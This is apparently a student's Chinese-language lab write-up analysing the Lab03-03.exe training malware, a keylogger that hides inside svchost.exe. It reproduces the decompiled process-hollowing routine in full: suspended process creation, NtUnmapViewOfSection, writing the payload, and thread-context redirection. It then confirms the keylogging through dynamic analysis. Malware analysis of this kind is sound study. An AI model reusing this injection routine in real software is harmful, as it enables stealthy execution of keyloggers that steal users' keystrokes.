Lab03-03.exe
使用IDA进行静态分析
将文件拖入IDA进行分析
根据分析得知该程序首先获取本线程的句柄,然后又获取了svchotexe.exe的绝对路径,路径获取过程如下:
之后该程序对UNICODE类的资源LOCALIZATION进行解密,过程如下:
用ResourceHacker找到UNICODE类的资源LOCALIZATION重命名为LABEL2(想写LOCAL。。。抄错了)
python对资源解密过程如下:
将解密后的文件拖入HxD中分析,发现是PE文件结构
先将该文件放一下,我们继续分析下一个函数sub_4010EA(LPCSTR lpApplicationName, LPCVOID lpBuffer)
该函数参数分别为svchost.exe的绝对路径和解密后的PE文件地址,分析如下:
// svchost.exe,资源PE
int __cdecl sub_4010EA(LPCSTR lpApplicationName, LPCVOID PEbuffer)
{
HMODULE v2; // eax
_DWORD *v4; // ST28_4
signed int i; // [esp+4h] [ebp-70h]
int Buffer; // [esp+8h] [ebp-6Ch]
LPVOID lpBaseAddress; // [esp+Ch] [ebp-68h]
FARPROC v8; // [esp+10h] [ebp-64h]
LPCONTEXT lpContext; // [esp+14h] [ebp-60h]
struct _STARTUPINFOA StartupInfo; // [esp+18h] [ebp-5Ch]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+5Ch] [ebp-18h]
char *v12; // [esp+6Ch] [ebp-8h]
_DWORD *v13; // [esp+70h] [ebp-4h]
v13 = PEbuffer;
if ( *(_WORD *)PEbuffer != 'ZM' )
return 0;
v12 = (char *)PEbuffer + v13[15];
if ( *(_DWORD *)v12 != 'EP' )
return 0;
memset(&StartupInfo, 0, 0x44u);
memset(&ProcessInformation, 0, 0x10u);
if ( !CreateProcessA(lpApplicationName, 0, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation) )// 创建进程svchost.exe
return 0;
lpContext = (LPCONTEXT)VirtualAlloc(0, 0x2CCu, 0x1000u, 4u);// 申请内存空间,数据类型为CONTEXT
lpContext->ContextFlags = 65543;
if ( !GetThreadContext(ProcessInformation.hThread, lpContext) )// 将进程寄存器信息存入IpContext
return 0;
Buffer = 0;
lpBaseAddress = 0;
v8 = 0;
ReadProcessMemory(ProcessInformation.hProcess, (LPCVOID)(lpContext->Ebx + 8), &Buffer, 4u, 0);// 将ebx寄存器+8指向的位置向后读取四字节,存入Buffer
v2 = GetModuleHandleA(ModuleName); // 获取模块ntdll.dll的句柄
v8 = GetProcAddress(v2, ProcName); // 获取ntdll.dll模块中NtUnmapViewOfSection函数位置
if ( !v8 )
return 0;
((void (__stdcall *)(HANDLE, int))v8)(ProcessInformation.hProcess, Buffer);// 卸载进程中buffer指向的模块
lpBaseAddress = VirtualAllocEx(
ProcessInformation.hProcess,
*((LPVOID *)v12 + 13),
*((_DWORD *)v12 + 20),
0x3000u,
0x40u);
if ( !lpBaseAddress )
return 0;
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, PEbuffer, *((_DWORD *)v12 + 21), 0);// 将PE文件写入IpBaseAddress
for ( i = 0; i < *((unsigned __int16 *)v12 + 3); ++i )// 执行PE文件
{
v4 = (char *)PEbuffer + 40 * i + v13[15] + 248;
WriteProcessMemory(ProcessInformation.hProcess, (char *)lpBaseAddress + v4[3], (char *)PEbuffer + v4[5], v4[4], 0);
}
WriteProcessMemory(ProcessInformation.hProcess, (LPVOID)(lpContext->Ebx + 8), v12 + 52, 4u, 0);
lpContext->Eax = (DWORD)lpBaseAddress + *((_DWORD *)v12 + 10);
SetThreadContext(ProcessInformation.hThread, lpContext);
ResumeThread(ProcessInformation.hThread);
return 1;
}
定义的CONTEXT结构体类型如下,用于存储寄存器状态:
_PROCESS_INFORMATION数据结构如下,用来存储进程信息:
接下来分析解密的这个PE文件
查看SetWindowsHookExA函数的资料:
可以分析fn函数了:
分析sub_4010c7函数:
得出结论该程序执行了键盘监听功能
工作原理
该恶意代码对资源中携带的键盘监视程序进行了加密,在程序运行后,将该PE文件解密,加载svchost.exe程序,并将改程序的内存空间替换为PE文件,执行该文件,对系统当前所有顶级窗口进行监视,记录键盘输入的字符。
动态分析
大概流程清楚了,我们再试着动态分析一波
用rundll32.exe执行该文件
版本较高的win7win10系统中的rundll32.exe不能启动该程序,要用xp系统
执行之后发现了生成的日志文件,和该文件在同一目录下
注册表对比
信息量有点大。。感觉这个方法可能不太好用。。先放放明天再看吧,和琳琳姐去天台吹风了
---------------第二天的分隔符----------------
思考了一下,注册表是用于存储系统和应用程序的设置信息的数据结构,对这种键盘监听程序来说,可能分析注册表用处不大??(猜
不过倒是可以把重心放在对进程和内存的监控上,这里应该有明显的发现
使用工具Process monitor & process explorer,这两个工具微软的官网上都有,可以直接下载
使用Process Explorer
发现该进程开始后很快结束,留下一个剩余的svchost.exe进程
查看该进程memory的strings,发现该log文件名
除此之外,image和memory中的值不一样,正常情况下来说应该没有变化,由此验证内存被替换过了,根据memory中的[DEL]等键值推断该程序为键盘记录器
找到该进程的PID,在Process monitor中进行查找
program monitor
发现有许多创建文件的线程,验证之前的猜想